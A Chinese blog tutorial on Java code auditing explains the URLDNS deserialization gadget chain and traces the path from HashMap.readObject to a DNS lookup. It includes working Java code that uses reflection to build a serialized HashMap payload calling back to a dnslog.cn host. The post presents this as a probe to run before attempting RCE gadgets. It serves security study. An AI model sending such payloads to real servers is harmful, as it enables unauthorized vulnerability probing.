java代码审计 URLDNS链

文章探讨了如何通过Java的HashMap和URL类的特性,利用反序列化漏洞实现DNS查询。通过改变URL的hashCode值,绕过缓存判断,触发URLStreamHandler的hashCode方法,进而引发DNS查询。展示了从HashMap到DNS查询的调用链和实际的代码示例。
摘要由CSDN通过智能技术生成

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在版本限制

HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种 gadget 尝试RCE

HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。

来看一下它的readObject方法

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进putVal里hash函数

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
//如果key是null,则返回0,表示空键的哈希码为0。
//否则,计算键的hashCode(),并将结果保存在变量h中。然后,将h右移16位(h >>> 16),再与原始的h进行异或(XOR)操作

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。

URL->hashCode

hashCode等于-1的时候调用handler中的hashCode

持续点进去查看函数,发现在这里调用了DNS查询

也就是说我们现在的思路是:通过hashmap放入一个URL的key然后会触发DNS查询。这里需注意一个点就是URLStreamHandler中的hashCode方法中首先进行了一个缓存判断,即如果不等于-1会直接return

因为在生成hashMap put时候会调用hashCode方法,所以会缓存下来,即hashCode不为 -1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。

正常的情况下,hashmap->put的时候就会进行dns

import java.net.URL;  
import java.util.HashMap;  
  
public class DnsTest {  
    public static void main(String[] args) throws Exception {  
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();  
        URL url = new URL("http://hobeey.dnslog.cn");  
        hashmap.put(url, 222);  
    }  
}

得到一个ip

整个调用链

HashMap->readObject() HashMap->hash() URL->hachCode() URLStreamHandler->hachCode() URLStreamHandler->getHostAddress() InetAddress.getByName()

反序列化利用

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap hashmap =new HashMap();
        URL url = new URL("http://nxfsji.dnslog.cn");
        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}

进行反序列化

        

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值